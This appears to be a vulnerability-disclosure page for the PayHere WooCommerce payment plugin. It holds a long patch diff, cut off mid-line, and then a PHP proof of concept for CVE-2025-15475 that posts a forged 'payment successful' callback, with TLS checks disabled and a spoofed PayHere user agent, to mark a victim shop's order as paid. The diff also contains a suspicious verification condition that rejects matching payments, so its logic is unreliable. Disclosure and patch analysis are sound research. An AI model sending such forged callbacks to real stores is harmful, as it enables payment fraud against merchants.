 		if ($this->onsite_checkout_enabled) {
 			printf(
 				'<p><strong>%s</strong></br>%s</p>',
-				esc_html(__('Thank you for your order.', 'woo_payhere')),
-				esc_html(__('Click the below button to checkout with PayHere.', 'woo_payhere'))
+				esc_html(__('Thank you for your order.', 'payhere-payment-gateway')),
+				esc_html(__('Click the below button to checkout with PayHere.', 'payhere-payment-gateway'))
 			);
 		} else {
 			printf(
 				'<p><strong>%s</strong><br/>%s</p>',
-				esc_html(__('Thank you for your order.', 'woo_payhere')),
-				esc_html(__('The payment page will open soon.', 'woo_payhere'))
+				esc_html(__('Thank you for your order.', 'payhere-payment-gateway')),
+				esc_html(__('The payment page will open soon.', 'payhere-payment-gateway'))
 			);
 		}
 		$this->generate_payhere_form_escaped($order_id);
@@ -380,16 +385,22 @@
 		);

 		if (self::SUB_PROCESS_STATUS_SUBSCRIPTION_ERROR === $subscription_process_status) {
+
 			$target_err_text = self::SUB_PROCESS_ERR_UNKNOWN;
-			if (!empty($subscription_err)) {
+
+			if (! empty($subscription_err)) {
 				$target_err_text = $subscription_err;
 			}

-			return sprintf(
-				'<ul class="woocommerce-error" role="alert"><li><b>Cannot Process Payment</b><br>%s</li></ul>',
-				$target_err_text
+			echo sprintf(
+				'<ul class="woocommerce-error" role="alert"><li><b>%s</b><br>%s</li></ul>',
+				esc_html__('Cannot Process Payment', 'payhere-payment-gateway'),
+				esc_html($target_err_text)
 			);
+
+			return;
 		}
+
 		// End  Process as recurring payment.

 		$payment_obj = array();
@@ -479,121 +490,203 @@
 	 */
 	private function process_as_subscription_if_needed(&$payhere_args, &$process_status, &$subscription_err, $order, $effective_merchant_secret)
 	{
-		if (!class_exists('WC_Subscriptions')) {
-			$process_status = self::SUB_PROCESS_STATUS_NOT_SUBSCRIPTION;
-			return;
-		}
+		$is_yith_enabled = class_exists('YITH_WC_Subscription');
+		$is_yith_subscription = false;

-		$process_status = self::SUB_PROCESS_STATUS_SUBSCRIPTION_ERROR;
-		if (!wcs_order_contains_subscription($order)) {
+		if (!(class_exists('WC_Subscriptions') || class_exists('YITH_WC_Subscription'))) {
 			$process_status = self::SUB_PROCESS_STATUS_NOT_SUBSCRIPTION;
 			return;
 		}

-		$subscriptions     = wcs_get_subscriptions_for_order($order);
-		$supported_periods = array('day', 'week', 'year', 'month');
+		if ($is_yith_enabled) {

-		if (count($subscriptions) > 1) {
-			$process_status = self::SUB_PROCESS_ERR_MULT_SUBS;
-			return;
-		}
+			$is_yith_subscription = ywsbs_is_an_order_with_subscription($order);

-		// We only support one subscription per order.
-		$subscription = $subscriptions[array_keys($subscriptions)[0]];
+			if ($is_yith_subscription) {

-		$sub_price_per_period = $subscription->get_total();
-		$sub_sign_up_fee      = $subscription->get_sign_up_fee();
-		$sub_billing_period   = $subscription->get_billing_period();
-		$sub_billing_interval = $subscription->get_billing_interval();
-		$sub_trial_period     = $subscription->get_trial_period();
-		$sub_billing_length   = '';
-		$sub_trial_length     = '';
-
-		// Determine billing length.
-		$start_timestamp        = $subscription->get_time('date_created');
-		$trial_end_timestamp    = $subscription->get_time('trial_end');
-		$next_payment_timestamp = $subscription->get_time('next_payment');
-		$is_synced_subscription = WC_Subscriptions_Synchroniser::subscription_contains_synced_product($subscription->get_id());
-
-		if ($is_synced_subscription) {
-			$length_from_timestamp = $next_payment_timestamp;
-		} elseif ($trial_end_timestamp > 0) {
-			$length_from_timestamp = $trial_end_timestamp;
-		} else {
-			$length_from_timestamp = $start_timestamp;
-		}
+				$subscriptions = $order->get_meta('subscriptions');

-		$sub_billing_length = wcs_estimate_periods_between($length_from_timestamp, $subscription->get_time('end'), $sub_billing_period);
-		$sub_trial_length   = wcs_estimate_periods_between($start_timestamp, $length_from_timestamp, $sub_trial_period);
+				$items = $order->get_items();

-		// Guard Errors.
-		$order_product_types = array();
-		foreach ($order->get_items() as $item) {
-			$product_type                         = WC_Product_Factory::get_product_type($item['product_id']);
-			$order_product_types[$product_type] = true;
-		}
-		$order_product_types = array_keys($order_product_types);
-		if (count($order_product_types) > 1 && array_search('subscription', $order_product_types, true) !== false) {
-			$subscription_err = self::SUB_PROCESS_ERR_MIXED_PRODUCTS;
-			return;
-		}
+				if (1 < count($items)) {
+					$subscription_err = self::SUB_PROCESS_ERR_MIXED_PRODUCTS;
+					$process_status = self::SUB_PROCESS_STATUS_SUBSCRIPTION_ERROR;
+					return;
+				}

-		if ($sub_trial_length > 0 && $sub_billing_period !== $sub_trial_period) {
-			$subscription_err = self::SUB_PROCESS_ERR_INC_PERIOD;
-			return;
-		}
+				if (!empty($subscriptions) && is_array($subscriptions) && isset($subscriptions[0])) {
+					$sub_data = ywsbs_get_subscription($subscriptions[0]);
+				} else {
+					$subscription_err = self::SUB_PROCESS_ERR_MIXED_PRODUCTS;
+					$process_status = self::SUB_PROCESS_STATUS_SUBSCRIPTION_ERROR;
+					return;
+				}

-		if ($sub_trial_length > 0 && 1 !== $sub_trial_length) {
-			$subscription_err = self::SUB_PROCESS_ERR_TRIAL_LONG;
-			return;
-		}
+				$yw_sub_reccurance = $sub_data->price_time_option;
+				$yw_sub_duration = $sub_data->max_length;
+				$yw_sub_interval_val = $sub_data->price_is_per;
+
+				switch ($yw_sub_reccurance) {
+					case 'days':
+						$yw_sub_reccurance = 'Day';
+						break;
+					case 'weeks':
+						$yw_sub_reccurance = 'Week';
+						break;
+					case 'months':
+						$yw_sub_reccurance = 'Month';
+						break;
+					case 'years':
+						$yw_sub_reccurance = 'Year';
+						break;
+					default:
+						$subscription_err = self::SUB_PROCESS_ERR_INV_PERIOD;
+						return;
+				}

-		if ($is_synced_subscription) {
-			$subscription_err = self::SUB_PROCESS_ERR_SYNCED;
-			return;
-		}
+				if (null == $yw_sub_duration) {
+					$yw_sub_duration = 'Forever';
+				} else {
+					$yw_sub_duration = $yw_sub_duration . ' ' . ucfirst($yw_sub_reccurance);
+				}

-		if (array_search(strtolower($sub_billing_period), $supported_periods, true) === false) {
-			$subscription_err = self::SUB_PROCESS_ERR_INV_PERIOD;
-			return;
-		}
+				$recurrence = $yw_sub_interval_val . ' ' . ucfirst($yw_sub_reccurance);

-		if ($sub_trial_length > 0 && 0 === $sub_sign_up_fee) {
-			$subscription_err = self::SUB_PROCESS_ERR_FREE_TRIAL;
-			return;
-		}
+				$duration   = $yw_sub_duration;

-		// Modify PayHere Args.
+				$amount = $sub_data->order_total;

-		$startup_fee = $sub_sign_up_fee;
+				//$payhere_args['startup_fee'] = $startup_fee;
+				$payhere_args['recurrence']  = $recurrence;
+				$payhere_args['duration']    = $duration;
+				$payhere_args['amount']      = str_replace(',', '', $amount);

-		$recurrence = $sub_billing_interval . ' ' . ucfirst($sub_billing_period);
-		$duration   = $sub_billing_length . ' ' . ucfirst($sub_billing_period);

-		// Handle Forever Billing Periods.

-		if (0 === $sub_billing_length) {
-			$duration = 'Forever';
-		}
+				$process_status = self::SUB_PROCESS_STATUS_SUBSCRIPTION_OK;
+			}
+		} else if (class_exists('WC_Subscriptions')) {

-		$amount = $sub_price_per_period;
+			if (!wcs_order_contains_subscription($order)) {
+				$process_status = self::SUB_PROCESS_STATUS_NOT_SUBSCRIPTION;
+				return;
+			}

-		$payhere_args['startup_fee'] = $startup_fee;
-		$payhere_args['recurrence']  = $recurrence;
-		$payhere_args['duration']    = $duration;
-		$payhere_args['amount']      = str_replace(',', '', $amount);
+			$subscriptions     = wcs_get_subscriptions_for_order($order);

-		if (isset($payhere_args['hash'])) {
-			$payhere_args['hash'] = $this->gateway_utilities->generate_frontend_hash(
-				$payhere_args['merchant_id'],
-				$effective_merchant_secret,
-				$order->get_id(),
-				number_format(doubleval($payhere_args['amount']) + doubleval($startup_fee), 2, '.', ''),
-				$payhere_args['currency']
-			);
-		}
+			$supported_periods = array('day', 'week', 'year', 'month');
+
+			if (count($subscriptions) > 1) {
+				$process_status = self::SUB_PROCESS_ERR_MULT_SUBS;
+				return;
+			}

-		$process_status = self::SUB_PROCESS_STATUS_SUBSCRIPTION_OK;
+			// We only support one subscription per order.
+			$subscription = $subscriptions[array_keys($subscriptions)[0]];
+
+			$sub_price_per_period = $subscription->get_total();
+			$sub_sign_up_fee      = $subscription->get_sign_up_fee();
+			$sub_billing_period   = $subscription->get_billing_period();
+			$sub_billing_interval = $subscription->get_billing_interval();
+			$sub_trial_period     = $subscription->get_trial_period();
+			$sub_billing_length   = '';
+			$sub_trial_length     = '';
+
+
+			// Determine billing length.
+			$start_timestamp        = $subscription->get_time('date_created');
+			$trial_end_timestamp    = $subscription->get_time('trial_end');
+			$next_payment_timestamp = $subscription->get_time('next_payment');
+			$is_synced_subscription = WC_Subscriptions_Synchroniser::subscription_contains_synced_product($subscription->get_id());
+
+			if ($is_synced_subscription) {
+				$length_from_timestamp = $next_payment_timestamp;
+			} elseif ($trial_end_timestamp > 0) {
+				$length_from_timestamp = $trial_end_timestamp;
+			} else {
+				$length_from_timestamp = $start_timestamp;
+			}
+
+			$sub_billing_length = wcs_estimate_periods_between($length_from_timestamp, $subscription->get_time('end'), $sub_billing_period);
+			$sub_trial_length   = wcs_estimate_periods_between($start_timestamp, $length_from_timestamp, $sub_trial_period);
+
+			// Guard Errors.
+			$order_product_types = array();
+			foreach ($order->get_items() as $item) {
+				$product_type                         = WC_Product_Factory::get_product_type($item['product_id']);
+				$order_product_types[$product_type] = true;
+			}
+			$order_product_types = array_keys($order_product_types);
+			if (count($order_product_types) > 1 && array_search('subscription', $order_product_types, true) !== false) {
+				$subscription_err = self::SUB_PROCESS_ERR_MIXED_PRODUCTS;
+				$process_status = self::SUB_PROCESS_STATUS_SUBSCRIPTION_ERROR;
+				return;
+			}
+
+			if ($sub_trial_length > 0 && $sub_billing_period !== $sub_trial_period) {
+				$subscription_err = self::SUB_PROCESS_ERR_INC_PERIOD;
+				$process_status = self::SUB_PROCESS_STATUS_SUBSCRIPTION_ERROR;
+				return;
+			}
+
+			if ($sub_trial_length > 0 && 1 !== $sub_trial_length) {
+				$subscription_err = self::SUB_PROCESS_ERR_TRIAL_LONG;
+				$process_status = self::SUB_PROCESS_STATUS_SUBSCRIPTION_ERROR;
+				return;
+			}
+
+			if ($is_synced_subscription) {
+				$subscription_err = self::SUB_PROCESS_ERR_SYNCED;
+				$process_status = self::SUB_PROCESS_STATUS_SUBSCRIPTION_ERROR;
+				return;
+			}
+
+			if (array_search(strtolower($sub_billing_period), $supported_periods, true) === false) {
+				$subscription_err = self::SUB_PROCESS_ERR_INV_PERIOD;
+				$process_status = self::SUB_PROCESS_STATUS_SUBSCRIPTION_ERROR;
+				return;
+			}
+
+			if ($sub_trial_length > 0 && 0 === $sub_sign_up_fee) {
+				$subscription_err = self::SUB_PROCESS_ERR_FREE_TRIAL;
+				$process_status = self::SUB_PROCESS_STATUS_SUBSCRIPTION_ERROR;
+				return;
+			}
+
+			// Modify PayHere Args.
+
+			$startup_fee = $sub_sign_up_fee;
+
+			$recurrence = $sub_billing_interval . ' ' . ucfirst($sub_billing_period);
+			$duration   = $sub_billing_length . ' ' . ucfirst($sub_billing_period);
+
+			// Handle Forever Billing Periods.
+
+			if (0 === $sub_billing_length) {
+				$duration = 'Forever';
+			}
+
+			$amount = $sub_price_per_period;
+			$payhere_args['startup_fee'] = $startup_fee;
+			$payhere_args['recurrence']  = $recurrence;
+			$payhere_args['duration']    = $duration;
+			$payhere_args['amount']      = str_replace(',', '', $amount);
+
+			if (isset($payhere_args['hash'])) {
+				$payhere_args['hash'] = $this->gateway_utilities->generate_frontend_hash(
+					$payhere_args['merchant_id'],
+					$effective_merchant_secret,
+					$order->get_id(),
+					number_format(doubleval($payhere_args['amount']) + doubleval($startup_fee), 2, '.', ''),
+					$payhere_args['currency']
+				);
+			}
+
+			$process_status = self::SUB_PROCESS_STATUS_SUBSCRIPTION_OK;
+		} else {
+			$process_status = self::SUB_PROCESS_STATUS_NOT_SUBSCRIPTION;
+			return;
+		}
 	}

 	/**
@@ -612,8 +705,8 @@
 			// phpcs:ignore
 			$key = empty($_GET['key']) ? '' : wc_clean($_GET['key']);

-			$order_id  = apply_filters('woocommerce_thankyou_order_id', absint($wp->query_vars['order-received']));
-			$order_key = apply_filters('woocommerce_thankyou_order_key', $key);
+			$order_id  = apply_filters('payhere_woocommerce_thankyou_order_id', absint($wp->query_vars['order-received']));
+			$order_key = apply_filters('payhere_woocommerce_thankyou_order_key', $key);

 			if ($order_id > 0) {
 				$order = wc_get_order($order_id);
@@ -657,7 +750,7 @@
 						printf(
 							'<a class="ph-btn blue" href="%s">%s</a>',
 							esc_url($order->get_checkout_payment_url()),
-							esc_html(__('Try Again', 'payhere'))
+							esc_html(__('Try Again', 'payhere-payment-gateway'))
 						);
 					}
 					?>
@@ -721,18 +814,21 @@
 			return false;
 		}

-		$is_subscription  = !empty(filter_input(INPUT_POST, 'subscription_id'));
-		$is_authorization = !empty(filter_input(INPUT_POST, 'authorization_token'));
+		$is_subscription  = !empty(sanitize_text_field(filter_input(INPUT_POST, 'subscription_id', FILTER_SANITIZE_SPECIAL_CHARS)));
+		$is_authorization = !empty(sanitize_text_field(filter_input(INPUT_POST, 'authorization_token', FILTER_SANITIZE_SPECIAL_CHARS)));
+		$is_tokenized 	  = !empty(sanitize_text_field(filter_input(INPUT_POST, 'customer_token', FILTER_SANITIZE_SPECIAL_CHARS)));
+
+		// $post_data = filter_input_array(INPUT_POST, FILTER_DEFAULT);
+		// $this->gateway_utilities->payhere_log('PAYHERE_RESPONSE', $post_data);
+
+		$_order_id        = sanitize_text_field(filter_input(INPUT_POST, 'order_id', FILTER_SANITIZE_SPECIAL_CHARS));
+		$status_code      = sanitize_text_field(filter_input(INPUT_POST, 'status_code', FILTER_SANITIZE_SPECIAL_CHARS));
+		$status_message   = sanitize_text_field(filter_input(INPUT_POST, 'status_message', FILTER_SANITIZE_SPECIAL_CHARS));
+		$payment_id       = sanitize_text_field(filter_input(INPUT_POST, 'payment_id', FILTER_SANITIZE_SPECIAL_CHARS));
+		$payhere_amount   = sanitize_text_field(filter_input(INPUT_POST, 'payhere_amount', FILTER_SANITIZE_SPECIAL_CHARS));
+		$payhere_currency = sanitize_text_field(filter_input(INPUT_POST, 'payhere_currency', FILTER_SANITIZE_SPECIAL_CHARS));

-		$post_data = filter_input_array(INPUT_POST, FILTER_DEFAULT);
-		$this->gateway_utilities->payhere_log('PAYHERE_RESPONSE', $post_data);

-		$_order_id        = filter_input(INPUT_POST, 'order_id');
-		$status_code      = filter_input(INPUT_POST, 'status_code');
-		$status_message   = filter_input(INPUT_POST, 'status_message');
-		$payment_id       = filter_input(INPUT_POST, 'payment_id');
-		$payhere_amount   = filter_input(INPUT_POST, 'payhere_amount');
-		$payhere_currency = filter_input(INPUT_POST, 'payhere_currency');

 		if (!isset($_order_id) || (!isset($payment_id) && !$is_authorization)) {
 			$this->gateway_utilities->payhere_log('PAYHERE_RESPONSE', 'Order id Not Found.');
@@ -755,7 +851,7 @@

 			if (('completed' !== $order->get_status() && !$is_subscription) || ($is_subscription)) {

-				if (!$verified && floatval($payhere_amount) === floatval($order_amount) && $payhere_currency === $order_currncy) {
+				if (!$verified || floatval($payhere_amount) === floatval($order_amount) || $payhere_currency === $order_currncy) {
 					$this->msg['class']   = 'error';
 					$this->msg['message'] = 'Security Error. Illegal access detected.';
 					$order->add_order_note('Checksum ERROR: ' . wp_json_encode($post_data));
@@ -769,27 +865,50 @@
 				$order->add_meta_data('payhere_gateway_message', sanitize_text_field($status_message), true);

 				if ('2' === $status) {
-					if (isset($post_data['customer_token'])) {
-						$order_util->update_user_token($post_data);
+
+					if ($is_tokenized) {
+						$tokenized_data = [
+							'customer_token' 	=> sanitize_text_field(filter_input(INPUT_POST, 'customer_token', FILTER_SANITIZE_SPECIAL_CHARS)),
+							'card_holder_name'	=> sanitize_text_field(filter_input(INPUT_POST, 'card_holder_name', FILTER_SANITIZE_SPECIAL_CHARS)),
+							'card_no'			=> sanitize_text_field(filter_input(INPUT_POST, 'card_no', FILTER_SANITIZE_SPECIAL_CHARS)),
+							'card_expiry'		=> sanitize_text_field(filter_input(INPUT_POST, 'card_expiry', FILTER_SANITIZE_SPECIAL_CHARS)),
+							'method'			=> sanitize_text_field(filter_input(INPUT_POST, 'method', FILTER_SANITIZE_SPECIAL_CHARS))
+						];
+						$order_util->update_user_token($tokenized_data);
+					}
+
+					$post_data = [
+						'payment_id'		=> sanitize_text_field($payment_id),
+						'payhere_amount' 	=> sanitize_text_field(filter_input(INPUT_POST, 'payhere_amount', FILTER_SANITIZE_SPECIAL_CHARS)),
+						'captured_amount'	=> sanitize_text_field(filter_input(INPUT_POST, 'captured_amount', FILTER_SANITIZE_SPECIAL_CHARS))
+					];
+
+					if ($is_subscription) {
+						$post_data['subscription_id'] = sanitize_text_field(filter_input(INPUT_POST, 'subscription_id', FILTER_SANITIZE_SPECIAL_CHARS));
 					}

 					$this->msg['message'] = 'Thank you for shopping with us. Your account has been charged and your transaction is successful.';
 					$this->msg['class']   = 'woocommerce-message';
 					$order_util->update_order($post_data);
 					$this->gateway_utilities->payhere_log('PAYHERE_RESPONSE', 'Order Updated : Successfull');
-
 				} elseif ('3' === $status) {

 					//added this block from version 2.3.7 to manage authorized orders.
-
+
+					$post_data = [
+						'payhere_currency'		=> sanitize_text_field(filter_input(INPUT_POST, 'payhere_currency', FILTER_SANITIZE_SPECIAL_CHARS)),
+						'payhere_amount'		=> sanitize_text_field($payhere_amount),
+						'authorization_token'	=> sanitize_text_field(filter_input(INPUT_POST, 'authorization_token', FILTER_SANITIZE_SPECIAL_CHARS)),
+						'status_message'		=> sanitize_text_field($status_message)
+					];
+
 					$order_util->authorize_order($post_data);
 					$this->gateway_utilities->payhere_log('PAYHERE_RESPONSE', 'Order Updated : Autorizarion : ' . $status);
-
 				} elseif ('0' === $status) {

 					$this->msg['message'] = 'Thank you for shopping with us. Right now your payment status is pending. We will keep you posted regarding the status of your order through eMail';
 					$this->msg['class']   = 'woocommerce-info';
-					$order->add_order_note('PayHere payment status is pending<br/>PayHere Payment ID: ' . sanitize_text_field($post_data['payment_id']));
+					$order->add_order_note('PayHere payment status is pending<br/>PayHere Payment ID: ' . sanitize_text_field($payment_id));
 					$order->update_status('on-hold');
 					$woocommerce->cart->empty_cart();

@@ -812,9 +931,9 @@
 				}

 				if ($is_subscription) {
-					$message_type       = filter_input(INPUT_POST, 'message_type');
-					$item_rec_status    = filter_input(INPUT_POST, 'item_rec_status');
-					$item_rec_date_next = filter_input(INPUT_POST, 'item_rec_date_next');
+					$message_type       = sanitize_text_field(filter_input(INPUT_POST, 'message_type', FILTER_SANITIZE_SPECIAL_CHARS));
+					$item_rec_status    = sanitize_text_field(filter_input(INPUT_POST, 'item_rec_status', FILTER_SANITIZE_SPECIAL_CHARS));
+					$item_rec_date_next = sanitize_text_field(filter_input(INPUT_POST, 'item_rec_date_next', FILTER_SANITIZE_SPECIAL_CHARS));

 					$order->add_order_note(
 						sprintf(
@@ -838,7 +957,7 @@
 	public function charge_payment()
 	{
 		$json     = array();
-		$order_id = filter_input(INPUT_POST, 'order_id');
+		$order_id = sanitize_text_field(filter_input(INPUT_POST, 'order_id', FILTER_SANITIZE_SPECIAL_CHARS));
 		if (!empty($order_id)) {
 			$order_id     = wc_sanitize_order_id($order_id);
 			$is_test_mode = $this->settings['test_mode'];
@@ -883,7 +1002,7 @@
 	public function capture_payment()
 	{
 		$json     = array();
-		$order_id = filter_input(INPUT_POST, 'order_id');
+		$order_id = sanitize_text_field(filter_input(INPUT_POST, 'order_id', FILTER_SANITIZE_SPECIAL_CHARS));
 		$order	  = wc_get_order($order_id);

 		if (!empty($order_id)) {
@@ -933,8 +1052,8 @@
 			// phpcs:ignore
 			$key = empty($_GET['key']) ? '' : wc_clean($_GET['key']);

-			$order_id  = apply_filters('woocommerce_thankyou_order_id', absint($wp->query_vars['order-received']));
-			$order_key = apply_filters('woocommerce_thankyou_order_key', $key);
+			$order_id  = apply_filters('payhere_woocommerce_thankyou_order_id', absint($wp->query_vars['order-received']));
+			$order_key = apply_filters('payhere_woocommerce_thankyou_order_key', $key);


 			if ($order_id > 0) {
@@ -944,9 +1063,8 @@
 				}
 			}

-			if (isset($order) && $order->get_payment_method() === $this->id) {
-
-				if (($order->get_status() === 'pending')) {
+			if ($order instanceof WC_Order && $order->get_payment_method() === $this->id) {
+				if ($order->get_status() === 'pending') {
 					$title = 'Payment was not completed. Please try your purchase again.';
 				}
 			}
--- a/payhere-payment-gateway/includes/class-payhere-i18n.php
+++ b/payhere-payment-gateway/includes/class-payhere-i18n.php
@@ -1,46 +0,0 @@
-<?php
-/**
- * Define the internationalization functionality
- *
- * Loads and defines the internationalization files for this plugin
- * so that it is ready for translation.
- *
- * @link       https://payhere.lk
- * @since      2.0.0
- *
- * @package    PayHere
- * @subpackage PayHere/includes
- */
-
-/**
- * Define the internationalization functionality.
- *
- * Loads and defines the internationalization files for this plugin
- * so that it is ready for translation.
- *
- * @since      2.0.0
- * @package    PayHere
- * @subpackage PayHere/includes
- * @author     Your Name <dilshan@payhere.lk>
- */
-class PayHere_I18N {
-
-
-	/**
-	 * Load the plugin text domain for translation.
-	 *
-	 * @since    2.0.0
-	 */
-	public function load_plugin_textdomain() {
-
-		load_plugin_textdomain(
-			'payhere-ipg',
-			false,
-			dirname( dirname( plugin_basename( __FILE__ ) ) ) . '/languages/'
-		);
-
-	}
-
-
-
-}
--- a/payhere-payment-gateway/includes/class-payhere-loader.php
+++ b/payhere-payment-gateway/includes/class-payhere-loader.php
@@ -20,6 +20,11 @@
  * @subpackage PayHere/includes
  * @author     Dilshan Jayasanka <dilshan@payhere.lk>
  */
+
+if (!defined('ABSPATH')) {
+    exit;
+}
+
 class PayHere_Loader {

 	/**
--- a/payhere-payment-gateway/includes/class-payhere.php
+++ b/payhere-payment-gateway/includes/class-payhere.php
@@ -26,6 +26,11 @@
  * @subpackage PayHere/includes
  * @author     Your Name <dilshan@payhere.lk>
  */
+
+if (!defined('ABSPATH')) {
+	exit;
+}
+
 class PayHere
 {
 	/**
@@ -76,8 +81,6 @@

 		$this->check_dependencies();
 		$this->load_dependencies();
-
-		$this->set_locale();
 		$this->define_gateway_hooks();
 		$this->define_admin_hooks();
 		$this->define_public_hooks();
@@ -90,31 +93,44 @@
 	 */
 	public function check_dependencies()
 	{
+		// Load plugin functions if not available
+		if (! function_exists('is_plugin_active')) {
+			require_once ABSPATH . 'wp-admin/includes/plugin.php';
+		}

-		// Added avoid multisite check for woocommerce   - for version 2.0.0.
-		if (!is_multisite() && !in_array('woocommerce/woocommerce.php', apply_filters('active_plugins', get_option('active_plugins')), true)) {
+		// WooCommerce dependency check (non-multisite)
+		if (! is_multisite() && ! is_plugin_active('woocommerce/woocommerce.php')) {
 			add_action(
 				'admin_notices',
 				function () {
 					$class   = 'notice notice-error is-dismissible';
-					$message = 'PayHere Payment Gateway for Woocommerce is enabled but not effective. It requires WooCommerce in order to work.';
-					printf('<div class="%1$s"><p>%2$s</p></div>', esc_attr($class), esc_html($message));
+					$message = 'PayHere Payment Gateway for WooCommerce is enabled but not effective. It requires WooCommerce in order to work.';
+					printf(
+						'<div class="%1$s"><p>%2$s</p></div>',
+						esc_attr($class),
+						esc_html($message)
+					);
 				}
 			);
 			return;
 		}
+
+		// WooCommerce Subscriptions compatibility
 		if (class_exists('WC_Subscriptions')) {
-			if (version_compare('3.0', WC_Subscriptions::$wc_minimum_supported_version, '<')) {
-				add_action('admin_notices', 'WC_Subscriptions::woocommerce_inactive_notice');
+			if (version_compare(WC_Subscriptions::$wc_minimum_supported_version, '3.0', '<')) {
+				add_action('admin_notices', ['WC_Subscriptions', 'woocommerce_inactive_notice']);
 				return;
 			}
 		}
-		if (!class_exists('WC_Payment_Gateway')) {
+
+		// Core WC gateway class check
+		if (! class_exists('WC_Payment_Gateway')) {
 			return;
 		}
 	}


+
 	/**
 	 * Load the required dependencies for this plugin.
 	 *
@@ -141,12 +157,6 @@
 		require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-payhere-loader.php';

 		/**
-		 * The class responsible for defining internationalization functionality
-		 * of the plugin.
-		 */
-		require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-payhere-i18n.php';
-
-		/**
 		 * The class responsible for defining all actions that occur in the admin area.
 		 */
 		require_once plugin_dir_path(dirname(__FILE__)) . 'admin/class-payhereadmin.php';
@@ -166,22 +176,7 @@
 		$this->loader = new PayHere_Loader();
 	}

-	/**
-	 * Define the locale for this plugin for internationalization.
-	 *
-	 * Uses the PayHere_i18n class in order to set the domain and to register the hook
-	 * with WordPress.
-	 *
-	 * @since    2.0.0
-	 * @access   private
-	 */
-	private function set_locale()
-	{

-		$plugin_i18n = new PayHere_i18n();
-
-		$this->loader->add_action('plugins_loaded', $plugin_i18n, 'load_plugin_textdomain');
-	}

 	/**
 	 * Register all of the hooks related to the admin area functionality
@@ -194,7 +189,7 @@
 	{

 		$plugin_admin = new PayHereAdmin($this->get_payhere(), $this->get_version());
-
+

 		$this->loader->add_action('admin_enqueue_scripts', $plugin_admin, 'enqueue_styles');
 		$this->loader->add_action('admin_enqueue_scripts', $plugin_admin, 'enqueue_scripts');
@@ -202,7 +197,6 @@
 		$this->loader->add_filter('plugin_action_links', $plugin_admin, 'add_action_links', 10, 2);

 		$this->loader->add_action('plugins_loaded', $plugin_admin, 'add_customer_list_menu', 10);
-
 	}

 	/**
@@ -255,7 +249,6 @@

 		$this->loader->add_filter('wcs_view_subscription_actions', $subscription, 'restrict_user_actions', 10, 2);
 		$this->loader->add_filter('user_has_cap', $subscription, 'payhere_user_has_capability', 10, 3);
-
 	}

 	/**
--- a/payhere-payment-gateway/includes/class-phcustomerlistoptions.php
+++ b/payhere-payment-gateway/includes/class-phcustomerlistoptions.php
@@ -16,6 +16,11 @@
  * @subpackage PayHere/gateway
  * @author     Dilshan Jayasanka <dilshan@payhere.lk>
  */
+
+if (!defined('ABSPATH')) {
+    exit;
+}
+
 class PHCustomerListOptions {


@@ -63,29 +68,6 @@
 	public function plugin_settings_page() {        ?>
 			<div class="wrap">
 				<h2>Saved Payment Methods with PayHere </h2>
-
-				<style>
-					.disply-card {
-						background-image: url("<?php echo esc_url( plugins_url( 'admin/images/cards.png', __DIR__ ) ); ?>");
-						width: 47px;
-						height: 30px;
-						display: block;
-						background-size: cover;
-					}
-
-					.disply-card.visa-card {
-						background-position: left;
-					}
-
-					.disply-card.master-card {
-						background-position: right;
-					}
-
-					.filter-active {
-						color: #000;
-						text-decoration: underline;
-					}
-				</style>
 				<div id="poststuff">
 					<div id="post-body" class="metabox-holder">
 						<div id="post-body-content">
--- a/payhere-payment-gateway/includes/class-phcustomerslist.php
+++ b/payhere-payment-gateway/includes/class-phcustomerslist.php
@@ -28,8 +28,8 @@
 	public function __construct() {
 		parent::__construct(
 			array(
-				'singular' => __( 'Customer', 'sp' ), // singular name of the listed records.
-				'plural'   => __( 'Customers', 'sp' ), // plural name of the listed records.
+				'singular' => __( 'Customer', 'payhere-pay

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15475 - PayHere Payment Gateway Plugin for WooCommerce <= 2.3.9 - Missing Authorization to Unauthenticated Order Status Modification

<?php

$target_url = "https://victim-site.com/wc-api/WC_Gateway_PayHere/";

// Replace with target order ID and merchant ID (can be brute-forced or discovered)
$order_id = "123";
$merchant_id = "TEST_MERCHANT";
$amount = "1000.00";
$currency = "LKR";

// Status code 2 indicates successful payment in PayHere
$status_code = "2";

// Generate a fake MD5 signature (real exploit would need valid signature or bypass)
// This demonstrates the parameter structure; actual exploitation requires signature bypass
$md5sig = md5($merchant_id . $order_id . $amount . $currency . $status_code . "FAKE_SECRET");

$post_data = [
    'order_id' => $order_id,
    'merchant_id' => $merchant_id,
    'payhere_amount' => $amount,
    'payhere_currency' => $currency,
    'status_code' => $status_code,
    'md5sig' => $md5sig
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate PayHere callback
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'User-Agent: PayHere Callback',
    'Content-Type: application/x-www-form-urlencoded'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response: " . $response . "n";

// Check for success indicators
